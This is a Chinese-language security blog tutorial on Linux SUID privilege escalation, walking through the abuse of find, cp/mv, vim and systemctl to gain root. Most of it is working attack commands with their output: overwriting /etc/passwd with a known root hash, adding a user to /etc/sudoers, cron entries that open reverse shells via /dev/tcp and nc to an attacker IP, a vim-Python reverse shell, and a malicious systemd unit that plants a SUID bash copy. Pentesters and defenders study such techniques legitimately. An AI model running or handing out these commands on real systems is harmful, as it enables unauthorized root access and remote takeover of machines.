这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿,@3h整理发布,感谢分享!
@蜗牛师傅也写了一篇,大家可以参考学习下:权限提升 | suid提权及修复方式
0x01 SUID命令提权简介
setuid是set uid ID upon execution的缩写,我们一般会再次把它们缩写为suid,它们是控制文件访问的权限标志(flag),它允许用户以可执行文件的所有者的权限运行可执行文件,当所有者为root时,其他用户则可以使用root权限运行可执行文件,这就带来了安全风险,用户可以通过带有suid权限的命令进行提权,最终获得root权限。
下图展示了普通用户是如何通过passwd来修改/etc/shadow文件,正常情况下普通用户是无法直接修改/etc/shadow文件,因为passwd命令带有suid权限,所以普通用户在执行passwd时他的权限临时变为root权限就能修改/etc/shadow文件了。
0x02 查找具有suid权限文件的命令
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null
0x03 为命令设置suid权限
例如给find命令添加suid,这里使用whereis,which都可以。
[root@localhost ~]# whereis find
find: /usr/bin/find /usr/share/man/man1/find.1.gz
[root@localhost ~]# chmod u+s /usr/bin/find
[root@localhost ~]# ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
0x04 find命令提权
如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell。
利用普通用户执行find命令,要查找一个存在的文件,这里的点是查找当前目录
[admin@localhost ~]$ find . -exec /bin/bash -p \;
bash-4.2# whoami
root
-p参数的解释:
当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。
bash -p参数
-p Turned on whenever the real and effective user ids do not match.
Disables processing of the $ENV file and importing of shell
functions. Turning this option off causes the effective uid and
gid to be set to the real uid and gid.
0x05 cp/mv命令提权
这里只演示cp命令,mv同理。
利用cp将/etc/passwd复制到/tmp/passwd
[admin@localhost ~]$ cp /etc/passwd /tmp/passwd
[admin@localhost ~]$ ls -al /tmp/passwd
-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd
加密的密码具有固定格式:
$id$salt$encrypted
id
表示加密算法,1
代表MD5,5
代表SHA-256,6
代表SHA-512 目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。salt
表示密码学中的Salt,系统生成encrypted
表示密码的hash
openssl passwd -6 -salt 1 123456
passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.
生成一个基于sha512密码算法,并且盐为1的密码为123456的密文。
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
查看/tmp/passwd的内容,并创建一个新的passwd并将/tmp/passwd的内容与新生成的密码写进去
[admin@localhost ~]$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
...
[admin@localhost ~]$ vim passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...
将创建的新的passwd覆盖掉/etc/passwd
[admin@localhost ~]$ cp passwd /etc/passwd
[admin@localhost ~]$
此时可以切换root用户
创建一个crontab文件,利用cp覆盖/etc/crontab
[admin@localhost ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
cp crontab /etc/crontab
最后等待连接
创建一个root_access文件
#!/bin/sh
cp /bin/bash /tmp/root_access
chmod +xs /tmp/root_access
赋予root_access文件执行权限,并将其放入/etc/cron.hourly中让其每个小时执行一遍
[admin@localhost ~]$ chmod +x root_access
[admin@localhost ~]$ cp root_access /etc/cron.hourly
等待root_access的创建,最后执行/tmp/root_access -p
[admin@localhost ~]$ /tmp/root_access -p
root_access-4.2#
0x06 vim等编辑器命令提权
方法一
生成一个新的密码,编辑/etc/passwd
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
[admin@localhost ~]$ vim /etc/passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...
:wq!
使用新密码登陆root
方法二
修改/etc/sudoers文件,使普通用户具有sudo权限,这里注意用当前普通用户的用户名,这里用户是admin
[admin@localhost ~]$ vim /etc/sudoers
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
admin ALL=(ALL) ALL
...
:wq!
方法三
修改/etc/crontab文件,写入root用户定时执行任务
[admin@localhost ~]$ vim /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root nc -lp 9001 -e /bin/bash
:wq!
在攻击机上进行连接即可提升权限
方法四
利用vim执行python命令,正向shell,这里注意都要加-p参数
[admin@localhost ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'
bash-4.2# whoami
root
bash-4.2#
反弹shell,这里注意利用的是subprocess模块才可以添加-p参数,pty模块不可以添加-p参数。
[admin@localhost ~]$ export RHOST=192.168.217.128
[admin@localhost ~]$ export RPORT=9001
[admin@localhost ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
p=subprocess.call(["/bin/bash","-ip"]);
vim.command(":q!")'
0x07 systemctl命令提权
如果systemctl具有suid权限则可以利用systemctl进行提权,systemctl 是一个用于管理服务的 Linux 软件套件,可以通过创建一个服务来利用,该服务在启动时将以 root 身份执行任意命令。
在下面的示例中,它将创建 /bin/bash 的 SUID 副本,因此允许攻击者以 root 身份执行 bash:
[admin@localhost ~]$ TF=$(mktemp).service
[admin@localhost ~]$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"
> [Install]
> WantedBy=multi-user.target' > $TF
[admin@localhost ~]$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ /tmp/stef -p
stef-4.2# whoami
root